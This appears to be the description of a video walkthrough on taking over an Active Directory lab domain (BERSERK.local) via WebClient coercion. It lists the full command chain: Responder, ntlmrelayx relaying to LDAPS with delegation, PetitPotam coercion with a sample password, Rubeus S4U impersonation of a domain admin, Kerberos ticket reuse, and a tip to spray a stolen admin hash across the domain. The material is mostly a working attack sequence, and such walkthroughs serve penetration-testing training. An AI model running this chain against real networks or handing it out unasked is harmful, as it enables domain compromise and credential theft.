WebClient Workstation Takeover
Ok, so 192.168.0.170 was the IP Address and DC2.BERSERK.local was the hostname of the target machine.
Guts was a domain admins user we impersonated using RBCD.
Corrections:
At 1:21: We can force the machine account to authenticate to our machine.
At 14:30: I was able to create a domain admins user because we got the Administrator Domain Admins user hash. [ In a real-world scenario, you can spray the hash across the domain to see on how many systems you have local admin access ].
At 15:36: You can do anything in the domain
The commands used in this video:-
Command: responder -I eth0
Command: impacket-ntlmrelayx -t ldaps://DC1.BERSERK.local --delegate-access -smb2support
Command: python3 petitpotam.py [NAME OF THE RESPONDER MACHINE]@80/test 192.168.0.170 -u reze -p 'b0mbd3vil!!'
Command: .\Rubeus.exe hash /domain:BERSERK.local /user:[USER CREATED USING NTLMRELAYX] /password:[PASSWORD]
Command: .\Rubeus.exe s4u /user:[USER CREATED USING NTLMRELAYX] /aes256:[AES256 HASH] /impersonateuser:guts /msdsspn:host/DC2.BERSERK.local /altservice:cifs /nowrap /ptt
Command: impacket-ticketConverter ticket.kirbi guts.ccache
Command: export KRB5CCNAME=guts.ccache
Command: crackmapexec smb 192.168.0.170 --use-kcache
